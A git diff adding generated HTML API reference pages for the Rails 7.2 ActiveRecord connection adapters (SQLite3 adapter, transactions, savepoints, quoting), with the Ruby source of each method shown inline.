# File activerecord/lib/active_record/connection_adapters/abstract/quoting.rb, line 166
+      def quoted_true
+        "TRUE"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + type_cast(value) + +

+ + +
+

Cast a value to a type that the database understands. For example, SQLite does not understand dates, so this method will convert a Date to a String.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/quoting.rb, line 94
+      def type_cast(value)
+        case value
+        when Symbol, ActiveSupport::Multibyte::Chars, Type::Binary::Data
+          value.to_s
+        when true       then unquoted_true
+        when false      then unquoted_false
+        # BigDecimals need to be put in a non-normalized form and quoted.
+        when BigDecimal then value.to_s("F")
+        when nil, Numeric, String then value
+        when Type::Time::Value then quoted_time(value)
+        when Date, Time then quoted_date(value)
+        else raise TypeError, "can't cast #{value.class.name}"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unquoted_false() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/quoting.rb, line 178
+      def unquoted_false
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unquoted_true() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/quoting.rb, line 170
+      def unquoted_true
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/RealTransaction.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/RealTransaction.html new file mode 100644 index 0000000000..08fa7bcf8f --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/RealTransaction.html @@ -0,0 +1,250 @@ +--- +title: ActiveRecord::ConnectionAdapters::RealTransaction +layout: default +--- +
+ +
+
+ +
+ +

Active Record Real Transaction

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + commit() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 480
+      def commit
+        connection.commit_db_transaction if materialized?
+        @state.full_commit!
+        @instrumenter.finish(:commit) if materialized?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + materialize!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 450
+      def materialize!
+        if isolation_level
+          connection.begin_isolated_db_transaction(isolation_level)
+        else
+          connection.begin_db_transaction
+        end
+
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + restart() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 460
+      def restart
+        return unless materialized?
+
+        @instrumenter.finish(:restart)
+
+        if connection.supports_restart_db_transaction?
+          @instrumenter.start
+          connection.restart_db_transaction
+        else
+          connection.rollback_db_transaction
+          materialize!
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rollback() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 474
+      def rollback
+        connection.rollback_db_transaction if materialized?
+        @state.full_rollback!
+        @instrumenter.finish(:rollback) if materialized?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/RestartParentTransaction.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/RestartParentTransaction.html new file mode 100644 index 0000000000..059dfbffb3 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/RestartParentTransaction.html @@ -0,0 +1,240 @@ +--- +title: ActiveRecord::ConnectionAdapters::RestartParentTransaction +layout: default +--- +
+ +
+
+ +
+ +

Active Record Restart Parent Transaction

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(connection, parent_transaction, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 377
+      def initialize(connection, parent_transaction, **options)
+        super(connection, **options)
+
+        @parent = parent_transaction
+
+        if isolation_level
+          raise ActiveRecord::TransactionIsolationError, "cannot set transaction isolation in a nested transaction"
+        end
+
+        @parent.state.add_child(@state)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + commit() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 396
+      def commit
+        @state.commit!
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + full_rollback?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 400
+      def full_rollback?; false; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rollback() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 391
+      def rollback
+        @state.rollback!
+        @parent.restart
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/SQLite3.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SQLite3.html new file mode 100644 index 0000000000..853bf6010a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SQLite3.html @@ -0,0 +1,90 @@ +--- +title: ActiveRecord::ConnectionAdapters::SQLite3 +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/SQLite3/DatabaseStatements.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SQLite3/DatabaseStatements.html new file mode 100644 index 0000000000..9546c2b989 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SQLite3/DatabaseStatements.html @@ -0,0 +1,142 @@ +--- +title: ActiveRecord::ConnectionAdapters::SQLite3::DatabaseStatements +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + explain(arel, binds = [], _options = []) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3/database_statements.rb, line 18
+        def explain(arel, binds = [], _options = [])
+          sql    = "EXPLAIN QUERY PLAN " + to_sql(arel, binds)
+          result = internal_exec_query(sql, "EXPLAIN", [])
+          SQLite3::ExplainPrettyPrinter.new.pp(result)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + high_precision_current_timestamp() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3/database_statements.rb, line 112
+        def high_precision_current_timestamp
+          HIGH_PRECISION_CURRENT_TIMESTAMP
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/SQLite3/TableDefinition.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SQLite3/TableDefinition.html new file mode 100644 index 0000000000..edff8f1f96 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SQLite3/TableDefinition.html @@ -0,0 +1,187 @@ +--- +title: ActiveRecord::ConnectionAdapters::SQLite3::TableDefinition +layout: default +--- +
+ +
+
+ +
+ +

Active Record SQLite3 Adapter Table Definition

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + belongs_to(*args, **options) + +

+ + +
+ +
+ + + + + +
+ Alias for: references +
+ + + + +
+ +
+

+ + change_column(column_name, type, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3/schema_definitions.rb, line 8
+        def change_column(column_name, type, **options)
+          name = column_name.to_s
+          @columns_hash[name] = nil
+          column(name, type, **options)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + references(*args, **options) + +

+ + +
+ +
+ + + +
+ Also aliased as: belongs_to +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3/schema_definitions.rb, line 14
+        def references(*args, **options)
+          super(*args, type: :integer, **options)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/SQLite3Adapter.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SQLite3Adapter.html new file mode 100644 index 0000000000..c781c1b6a5 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SQLite3Adapter.html @@ -0,0 +1,1671 @@ +--- +title: ActiveRecord::ConnectionAdapters::SQLite3Adapter +layout: default +--- +
+ +
+
+ +
+ +

Active Record SQLite3 Adapter

+ +

The SQLite3 adapter works with the sqlite3-ruby drivers (available as gem from rubygems.org/gems/sqlite3).

+ +

Options:

+
  • +

    :database - Path to the database file.

    +
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ADAPTER_NAME="SQLite"
COLLATE_REGEX=/.*"(\w+)".*collate\s+"(\w+)".*/i
DEFAULT_PRAGMAS={ +"foreign_keys" => true, +"journal_mode" => :wal, +"synchronous" => :normal, +"mmap_size" => 134217728, # 128 megabytes +"journal_size_limit" => 67108864, # 64 megabytes +"cache_size" => 2000 +}
DEFERRABLE_REGEX=/DEFERRABLE INITIALLY (\w+)/
EXTENDED_TYPE_MAPS=Concurrent::Map.new
FINAL_CLOSE_PARENS_REGEX=/\);*\z/
FK_REGEX=/.*FOREIGN KEY\s+\("(\w+)"\)\s+REFERENCES\s+"(\w+)"\s+\("(\w+)"\)/
GENERATED_ALWAYS_AS_REGEX=/.*"(\w+)".+GENERATED ALWAYS AS \((.+)\) (?:STORED|VIRTUAL)/i
NATIVE_DATABASE_TYPES={ +primary_key: "integer PRIMARY KEY AUTOINCREMENT NOT NULL", +string: { name: "varchar" }, +text: { name: "text" }, +integer: { name: "integer" }, +float: { name: "float" }, +decimal: { name: "decimal" }, +datetime: { name: "datetime" }, +time: { name: "time" }, +date: { name: "date" }, +binary: { name: "blob" }, +boolean: { name: "boolean" }, +json: { name: "json" }, +}
PRIMARY_KEY_AUTOINCREMENT_REGEX=/.*"(\w+)".+PRIMARY KEY AUTOINCREMENT/i
TYPE_MAP=Type::TypeMap.new.tap { |m| initialize_type_map(m) }
UNQUOTED_OPEN_PARENS_REGEX=/\((?![^'"]*['"][^'"]*$)/
+ + + + + + +

Class Public methods

+ +
+

+ + dbconsole(config, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 41
+        def dbconsole(config, options = {})
+          args = []
+
+          args << "-#{options[:mode]}" if options[:mode]
+          args << "-header" if options[:header]
+          args << File.expand_path(config.database, Rails.respond_to?(:root) ? Rails.root : nil)
+
+          find_cmd_and_exec("sqlite3", *args)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 99
+      def initialize(...)
+        super
+
+        @memory_database = false
+        case @config[:database].to_s
+        when ""
+          raise ArgumentError, "No database file specified. Missing argument: database"
+        when ":memory:"
+          @memory_database = true
+        when /\Afile:/
+        else
+          # Otherwise we have a path relative to Rails.root
+          @config[:database] = File.expand_path(@config[:database], Rails.root) if defined?(Rails.root)
+          dirname = File.dirname(@config[:database])
+          unless File.directory?(dirname)
+            begin
+              FileUtils.mkdir_p(dirname)
+            rescue SystemCallError
+              raise ActiveRecord::NoDatabaseError.new(connection_pool: @pool)
+            end
+          end
+        end
+
+        @config[:strict] = ConnectionAdapters::SQLite3Adapter.strict_strings_by_default unless @config.key?(:strict)
+        @connection_parameters = @config.merge(database: @config[:database].to_s, results_as_hash: true)
+        @use_insert_returning = @config.key?(:insert_returning) ? self.class.type_cast_config_to_boolean(@config[:insert_returning]) : true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new_client(config) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 31
+        def new_client(config)
+          ::SQLite3::Database.new(config[:database].to_s, config)
+        rescue Errno::ENOENT => error
+          if error.message.include?("No such file or directory")
+            raise ActiveRecord::NoDatabaseError
+          else
+            raise
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + strict_strings_by_default + +

+ + +
+

Configure the SQLite3Adapter to be used in a strict strings mode. This will disable double-quoted string literals, because otherwise typos can silently go unnoticed. For example, it is possible to create an index for a non existing column. If you wish to enable this mode you can add the following line to your application.rb file:

+ +
config.active_record.sqlite3_adapter_strict_strings_by_default = true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 64
+      class_attribute :strict_strings_by_default, default: false
+
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + active?() + +

+ + +
+ +
+ + + + + +
+ Alias for: connected? +
+ + + + +
+ +
+

+ + add_timestamps(table_name, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 352
+      def add_timestamps(table_name, **options)
+        options[:null] = false if options[:null].nil?
+
+        if !options.key?(:precision)
+          options[:precision] = 6
+        end
+
+        alter_table(table_name) do |definition|
+          definition.column :created_at, :datetime, **options
+          definition.column :updated_at, :datetime, **options
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connected?() + +

+ + +
+ +
+ + + +
+ Also aliased as: active? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 198
+      def connected?
+        !(@raw_connection.nil? || @raw_connection.closed?)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + database_exists?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 127
+      def database_exists?
+        @config[:database] == ":memory:" || File.exist?(@config[:database].to_s)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disconnect!() + +

+ + +
+

Disconnects from the database if already connected. Otherwise, this method does nothing.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 208
+      def disconnect!
+        super
+
+        @raw_connection&.close rescue nil
+        @raw_connection = nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encoding() + +

+ + +
+

Returns the current database encoding format as a string, e.g. β€˜UTF-8’

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 224
+      def encoding
+        any_raw_connection.encoding.to_s
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + foreign_keys(table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 372
+      def foreign_keys(table_name)
+        # SQLite returns 1 row for each column of composite foreign keys.
+        fk_info = internal_exec_query("PRAGMA foreign_key_list(#{quote(table_name)})", "SCHEMA")
+        # Deferred or immediate foreign keys can only be seen in the CREATE TABLE sql
+        fk_defs = table_structure_sql(table_name)
+                    .select do |column_string|
+                      column_string.start_with?("CONSTRAINT") &&
+                      column_string.include?("FOREIGN KEY")
+                    end
+                    .to_h do |fk_string|
+                      _, from, table, to = fk_string.match(FK_REGEX).to_a
+                      _, mode = fk_string.match(DEFERRABLE_REGEX).to_a
+                      deferred = mode&.downcase&.to_sym || false
+                      [[table, from, to], deferred]
+                    end
+
+        grouped_fk = fk_info.group_by { |row| row["id"] }.values.each { |group| group.sort_by! { |row| row["seq"] } }
+        grouped_fk.map do |group|
+          row = group.first
+          options = {
+            on_delete: extract_foreign_key_action(row["on_delete"]),
+            on_update: extract_foreign_key_action(row["on_update"]),
+            deferrable: fk_defs[[row["table"], row["from"], row["to"]]]
+          }
+
+          if group.one?
+            options[:column] = row["from"]
+            options[:primary_key] = row["to"]
+          else
+            options[:column] = group.map { |row| row["from"] }
+            options[:primary_key] = group.map { |row| row["to"] }
+          end
+          ForeignKeyDefinition.new(table_name, row["table"], options)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rename_table(table_name, new_name, **options) + +

+ + +
+

Renames a table.

+ +

Example:

+ +
rename_table('octopuses', 'octopi')
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 285
+      def rename_table(table_name, new_name, **options)
+        validate_table_length!(new_name) unless options[:_uses_legacy_table_name]
+        schema_cache.clear_data_source_cache!(table_name.to_s)
+        schema_cache.clear_data_source_cache!(new_name.to_s)
+        exec_query "ALTER TABLE #{quote_table_name(table_name)} RENAME TO #{quote_table_name(new_name)}"
+        rename_table_indexes(table_name, new_name, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + requires_reloading?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 151
+      def requires_reloading?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_check_constraints?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 159
+      def supports_check_constraints?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_common_table_expressions?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 175
+      def supports_common_table_expressions?
+        database_version >= "3.8.3"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_concurrent_connections?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 190
+      def supports_concurrent_connections?
+        !@memory_database
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_datetime_with_precision?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 167
+      def supports_datetime_with_precision?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_ddl_transactions?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 131
+      def supports_ddl_transactions?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_deferrable_constraints?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 236
+      def supports_deferrable_constraints?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_explain?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 228
+      def supports_explain?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_expression_index?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 147
+      def supports_expression_index?
+        database_version >= "3.9.0"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_foreign_keys?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 155
+      def supports_foreign_keys?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_index_sort_order?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 215
+      def supports_index_sort_order?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_insert_conflict_target?() + +

+ + +
+ +
+ + + + + + + + + + +
+ +
+

+ + supports_insert_on_conflict?() + +

+ + +
+ +
+ + + + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 183
+      def supports_insert_on_conflict?
+        database_version >= "3.24.0"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_insert_on_duplicate_skip?() + +

+ + +
+ +
+ + + + + + + + + + +
+ +
+

+ + supports_insert_on_duplicate_update?() + +

+ + +
+ +
+ + + + + + + + + + +
+ +
+

+ + supports_insert_returning?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 179
+      def supports_insert_returning?
+        database_version >= "3.35.0"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_json?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 171
+      def supports_json?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_lazy_transactions?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 232
+      def supports_lazy_transactions?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_partial_index?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 143
+      def supports_partial_index?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_savepoints?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 135
+      def supports_savepoints?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_transaction_isolation?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 139
+      def supports_transaction_isolation?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_views?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 163
+      def supports_views?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_virtual_columns?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 194
+      def supports_virtual_columns?
+        database_version >= "3.31.0"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + use_insert_returning?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb, line 431
+      def use_insert_returning?
+        @use_insert_returning
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/SavepointTransaction.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SavepointTransaction.html new file mode 100644 index 0000000000..34560bf511 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SavepointTransaction.html @@ -0,0 +1,329 @@ +--- +title: ActiveRecord::ConnectionAdapters::SavepointTransaction +layout: default +--- +
+ +
+
+ +
+ +

Active Record Savepoint Transaction

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(connection, savepoint_name, parent_transaction, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 405
+      def initialize(connection, savepoint_name, parent_transaction, **options)
+        super(connection, **options)
+
+        parent_transaction.state.add_child(@state)
+
+        if isolation_level
+          raise ActiveRecord::TransactionIsolationError, "cannot set transaction isolation in a nested transaction"
+        end
+
+        @savepoint_name = savepoint_name
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + commit() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 439
+      def commit
+        connection.release_savepoint(savepoint_name) if materialized?
+        @state.commit!
+        @instrumenter.finish(:commit) if materialized?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + full_rollback?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 445
+      def full_rollback?; false; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + materialize!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 417
+      def materialize!
+        connection.create_savepoint(savepoint_name)
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + restart() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 422
+      def restart
+        return unless materialized?
+
+        @instrumenter.finish(:restart)
+        @instrumenter.start
+
+        connection.rollback_to_savepoint(savepoint_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rollback() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 431
+      def rollback
+        unless @state.invalidated?
+          connection.rollback_to_savepoint(savepoint_name) if materialized? && connection.active?
+        end
+        @state.rollback!
+        @instrumenter.finish(:rollback) if materialized?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/Savepoints.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Savepoints.html new file mode 100644 index 0000000000..48f0f1d97e --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Savepoints.html @@ -0,0 +1,224 @@ +--- +title: ActiveRecord::ConnectionAdapters::Savepoints +layout: default +--- +
+ +
+
+ +
+ +

Active Record Connection Adapters Savepoints

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + create_savepoint(name = current_savepoint_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb, line 11
+      def create_savepoint(name = current_savepoint_name)
+        internal_execute("SAVEPOINT #{name}", "TRANSACTION")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + current_savepoint_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb, line 7
+      def current_savepoint_name
+        current_transaction.savepoint_name
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exec_rollback_to_savepoint(name = current_savepoint_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb, line 15
+      def exec_rollback_to_savepoint(name = current_savepoint_name)
+        internal_execute("ROLLBACK TO SAVEPOINT #{name}", "TRANSACTION")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + release_savepoint(name = current_savepoint_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb, line 19
+      def release_savepoint(name = current_savepoint_name)
+        internal_execute("RELEASE SAVEPOINT #{name}", "TRANSACTION")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
